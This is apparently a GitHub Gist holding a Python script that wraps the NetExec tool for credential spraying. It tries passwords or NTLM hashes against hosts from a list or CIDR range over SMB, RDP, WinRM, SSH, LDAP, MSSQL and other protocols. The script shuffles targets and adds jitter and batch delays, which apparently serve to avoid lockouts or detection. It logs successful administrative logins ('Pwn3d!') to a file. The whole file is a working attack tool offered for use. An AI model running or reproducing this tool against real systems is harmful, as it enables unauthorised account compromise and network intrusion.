Created
June 5, 2025 08:30
-
-
Save faisalfs10x/034f1edd95240e8949539d597c2862a3 to your computer and use it in GitHub Desktop.
NXC spraying wrapper
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# nxc_cspray.py - Version 1.0 | |
# Author: [you] | |
# Description: | |
# A flexible credential spraying wrapper using the NXC framework. | |
# Supports fast mode, jitter, batching, password and hash auth, CIDR/range input, | |
# domain or local authentication, and auto-logging with optional overrides. | |
import argparse | |
import subprocess | |
import time | |
import random | |
import ipaddress | |
import shutil | |
from datetime import datetime | |
def log(msg, path): | |
timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]") | |
full_msg = f"{timestamp} {msg}" | |
print(full_msg) | |
if path: | |
with open(path, "a") as f: | |
f.write(full_msg + "\n") | |
def generate_targets_from_cidr(cidr): | |
try: | |
return [str(ip) for ip in ipaddress.IPv4Network(cidr, strict=False).hosts()] | |
except Exception as e: | |
raise ValueError(f"Invalid CIDR: {cidr}") | |
def spray(args): | |
users = [args.username] if args.username else open(args.users).read().splitlines() | |
if args.password: | |
credentials = [(args.password, 'password')] | |
elif args.passwords: | |
with open(args.passwords) as f: | |
credentials = [(line.strip(), 'password') for line in f if line.strip()] | |
elif args.hash: | |
credentials = [(args.hash, 'hash')] | |
elif args.hashes: | |
with open(args.hashes) as f: | |
credentials = [(line.strip(), 'hash') for line in f if line.strip()] | |
else: | |
log("β Error: No password or hash provided.", args.globallog) | |
return | |
if args.cidr: | |
targets = generate_targets_from_cidr(args.cidr) | |
else: | |
with open(args.targets) as f: | |
targets = [line.strip() for line in f if line.strip()] | |
random.shuffle(targets) | |
log(f"π‘ Total targets to scan: {len(targets)}", args.globallog) | |
if args.fast: | |
log("β‘ Fast mode enabled β minimal delays, no batching", args.globallog) | |
for target in targets: | |
for user in users: | |
for cred, cred_type in credentials: | |
cmd = [args.nxc_path, args.protocol, target, "-u", user] | |
if cred_type == 'password': | |
cmd += ["-p", cred] | |
else: | |
cmd += ["-H", cred] | |
cmd += ["--local-auth"] if args.local_auth else ["--domain", args.domain] | |
cmd += ["--continue-on-success", "--no-bruteforce", "--log", f"{args.nxc_log_prefix}"] | |
log(f"π {target} | Trying {user}:{cred}", args.globallog) | |
try: | |
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) | |
for line in result.stdout.splitlines(): | |
if "(Pwn3d!)" in line and "[+]" in line: | |
log(f"β SUCCESS β {line.strip()}", args.globallog) | |
with open("success.txt", "a") as sf: | |
sf.write(f"{target} | {user}:{cred}\n") | |
except subprocess.TimeoutExpired: | |
log(f"β± Timeout: {target} | {user}:{cred}", args.globallog) | |
else: | |
batch_num = 1 | |
for i in range(0, len(targets), args.batch_size): | |
batch = targets[i:i + args.batch_size] | |
log(f"\nπ Starting batch {batch_num} with {len(batch)} hosts.", args.globallog) | |
batch_num += 1 | |
for target in batch: | |
for user in users: | |
for cred, cred_type in credentials: | |
jitter_val = random.randint(args.jitter_min, args.jitter_max) | |
cmd = [args.nxc_path, args.protocol, target, "-u", user] | |
if cred_type == 'password': | |
cmd += ["-p", cred] | |
else: | |
cmd += ["-H", cred] | |
cmd += ["--local-auth"] if args.local_auth else ["--domain", args.domain] | |
cmd += ["--continue-on-success", "--no-bruteforce", | |
f"--threads={args.threads}", f"--jitter={jitter_val}", | |
"--log", f"{args.nxc_log_prefix}.log"] | |
log(f"π {target} | Trying {user}:{cred} (jitter={jitter_val}s)", args.globallog) | |
try: | |
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) | |
for line in result.stdout.splitlines(): | |
if "(Pwn3d!)" in line and "[+]" in line: | |
log(f"β SUCCESS β {line.strip()}", args.globallog) | |
with open("success.txt", "a") as sf: | |
sf.write(f"{target} | {user}:{cred}\n") | |
time.sleep(jitter_val) | |
except subprocess.TimeoutExpired: | |
log(f"β± Timeout: {target} | {user}:{cred}", args.globallog) | |
batch_delay = random.randint(args.batch_delay_min, args.batch_delay_max) | |
log(f"βΈοΈ Sleeping {batch_delay}s before next batch...\n", args.globallog) | |
time.sleep(batch_delay) | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser(description="NXC spraying wrapper") | |
parser.add_argument("--protocol", "-proto", required=True, choices=[ | |
"rdp", "smb", "winrm", "vnc", "ssh", "ftp", "ldap", "mssql" | |
], help="nxc protocol to use") | |
parser.add_argument("--nxc-path", "-nxc", default=shutil.which("nxc"), help="Path to nxc binary") | |
parser.add_argument("--nxc-log-prefix", "-log", default="nxc_out.log", help="Prefix for NXC's built-in logs") | |
parser.add_argument("--globallog", "-glog", default="script_out.log", help="Path for global script log") | |
parser.add_argument("--username", "-u", help="Single username") | |
parser.add_argument("--users", "-U", help="File with list of usernames") | |
auth_cred = parser.add_mutually_exclusive_group(required=True) | |
auth_cred.add_argument("--password", "-p", help="Single password") | |
auth_cred.add_argument("--passwords", "-P", help="File with passwords") | |
auth_cred.add_argument("--hash", "-H", help="Single NTLM hash") | |
auth_cred.add_argument("--hashes", "-HH", help="File with NTLM hashes") | |
auth_scope = parser.add_mutually_exclusive_group(required=True) | |
auth_scope.add_argument("--local-auth", action="store_true", help="Use local authentication") | |
auth_scope.add_argument("--domain", "-d", help="Domain for domain authentication") | |
parser.add_argument("--targets", "-T", help="Target IPs list") | |
parser.add_argument("--cidr", "-C", help="CIDR range for targets (e.g., 192.168.1.0/24)") | |
parser.add_argument("--threads", "-t", type=int, default=256, help="Thread count") | |
parser.add_argument("--jitter-min", "-jmin", type=int, default=3, help="Minimum jitter") | |
parser.add_argument("--jitter-max", "-jmax", type=int, default=5, help="Maximum jitter") | |
parser.add_argument("--batch-size", "-bs", type=int, default=10, help="Batch size") | |
parser.add_argument("--batch-delay-min", "-bdmin", type=int, default=5, help="Min delay between batches") | |
parser.add_argument("--batch-delay-max", "-bdmax", type=int, default=10, help="Max delay between batches") | |
parser.add_argument("--fast", action="store_true", help="Enable fast mode (no jitter or batching)") | |
args = parser.parse_args() | |
spray(args) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment